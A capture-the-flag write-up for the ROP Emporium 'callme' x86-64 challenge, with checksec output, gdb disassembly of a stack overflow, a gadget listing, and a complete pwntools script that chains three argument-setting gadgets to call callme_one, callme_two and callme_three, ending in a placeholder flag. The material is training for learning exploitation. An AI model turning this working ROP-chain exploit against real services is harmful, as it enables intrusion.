callme
Exploration
1
2
3
4
5
6
7
8
9
$ checksec callme
[*] '/home/ctf/ctf/ropemporium/callme/callme'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
RUNPATH: b'.'
Stripped: No
The binary likely has a buffer overflow.
On the site, there’s a warning that warns against using call instructions already in the binary. Since I wasn’t using those beforehand, it didn’t really matter to me.
Based on the instructions of the website, we know that we’ll need gadgets to pass in three arguments and chain them all in a row. Let’s look at the functions:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
(gdb) info functions
All defined functions:
Non-debugging symbols:
0x00000000004006a8 _init
0x00000000004006d0 puts@plt
0x00000000004006e0 printf@plt
0x00000000004006f0 callme_three@plt
0x0000000000400700 memset@plt
0x0000000000400710 read@plt
0x0000000000400720 callme_one@plt
0x0000000000400730 setvbuf@plt
0x0000000000400740 callme_two@plt
0x0000000000400750 exit@plt
0x0000000000400760 _start
0x0000000000400790 _dl_relocate_static_pie
0x00000000004007a0 deregister_tm_clones
0x00000000004007d0 register_tm_clones
0x0000000000400810 __do_global_dtors_aux
0x0000000000400840 frame_dummy
0x0000000000400847 main
0x0000000000400898 pwnme
0x00000000004008f2 usefulFunction
0x000000000040093c usefulGadgets
0x0000000000400940 __libc_csu_init
0x00000000004009b0 __libc_csu_fini
0x00000000004009b4 _fini
We can see pwnme
, usefulFunction
, and usefulGadgets
. Like before, usefulFunction
is only used in a testing payload, not the final one.
Finding the vulnerability and offset (pwnme
)
The offset will always be 0x28 (40) for the x86-64
version of these problems.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
(gdb) disassemble pwnme
Dump of assembler code for function pwnme:
0x0000000000400898 <+0>: push rbp
0x0000000000400899 <+1>: mov rbp,rsp
0x000000000040089c <+4>: sub rsp,0x20
0x00000000004008a0 <+8>: lea rax,[rbp-0x20]
0x00000000004008a4 <+12>: mov edx,0x20
0x00000000004008a9 <+17>: mov esi,0x0
0x00000000004008ae <+22>: mov rdi,rax
0x00000000004008b1 <+25>: call 0x400700 <memset@plt>
0x00000000004008b6 <+30>: mov edi,0x4009f0
0x00000000004008bb <+35>: call 0x4006d0 <puts@plt>
0x00000000004008c0 <+40>: mov edi,0x400a13
0x00000000004008c5 <+45>: mov eax,0x0
0x00000000004008ca <+50>: call 0x4006e0 <printf@plt>
0x00000000004008cf <+55>: lea rax,[rbp-0x20]
0x00000000004008d3 <+59>: mov edx,0x200
0x00000000004008d8 <+64>: mov rsi,rax
0x00000000004008db <+67>: mov edi,0x0
0x00000000004008e0 <+72>: call 0x400710 <read@plt>
0x00000000004008e5 <+77>: mov edi,0x400a16
0x00000000004008ea <+82>: call 0x4006d0 <puts@plt>
0x00000000004008ef <+87>: nop
0x00000000004008f0 <+88>: leave
0x00000000004008f1 <+89>: ret
Like before, there is a buffer overflow.
However, it is interesting to note that here, read
reads in 0x200 (512) bytes, much more than last time.
Gadgets (usefulGadgets
)
1
2
3
4
5
6
7
(gdb) disassemble usefulGadgets
Dump of assembler code for function usefulGadgets:
0x000000000040093c <+0>: pop rdi
0x000000000040093d <+1>: pop rsi
0x000000000040093e <+2>: pop rdx
0x000000000040093f <+3>: ret
End of assembler dump.
This function provides a way to insert data into the first three arguments. It also contains a ret
if we needed it for movabs
, but we don’t for this binary.
Exploit
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
#!/usr/bin/env python3
from pwn import *
exe = ELF("./callme")
context.binary = exe
def conn():
if args.LOCAL:
r = process([exe.path])
if args.DEBUG:
gdb.attach(r)
else:
r = remote("addr", 1337)
return r
def main():
r = conn()
# good luck pwning :)
offset = 0x28
ret = 0x40093f
rdi_rsi_rdx = 0x40093c
payload = flat({
offset: [
rdi_rsi_rdx,
0xdeadbeefdeadbeef,
0xcafebabecafebabe,
0xd00df00dd00df00d,
exe.plt["callme_one"],
rdi_rsi_rdx,
0xdeadbeefdeadbeef,
0xcafebabecafebabe,
0xd00df00dd00df00d,
exe.plt["callme_two"],
rdi_rsi_rdx,
0xdeadbeefdeadbeef,
0xcafebabecafebabe,
0xd00df00dd00df00d,
exe.plt["callme_three"],
]
})
print("payload len:", hex(len(payload)))
r.sendline(payload)
r.interactive()
if __name__ == "__main__":
main()
Running
1
2
3
4
5
6
7
8
9
10
11
12
13
$ ./solve.py LOCAL
[*] '/home/ctf/ctf/ropemporium/callme/callme'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
RUNPATH: b'.'
Stripped: No
[+] Starting local process '/home/ctf/ctf/ropemporium/callme/callme': pid 86554
payload len: 0xa0
ROPE{a_placeholder_32byte_flag!}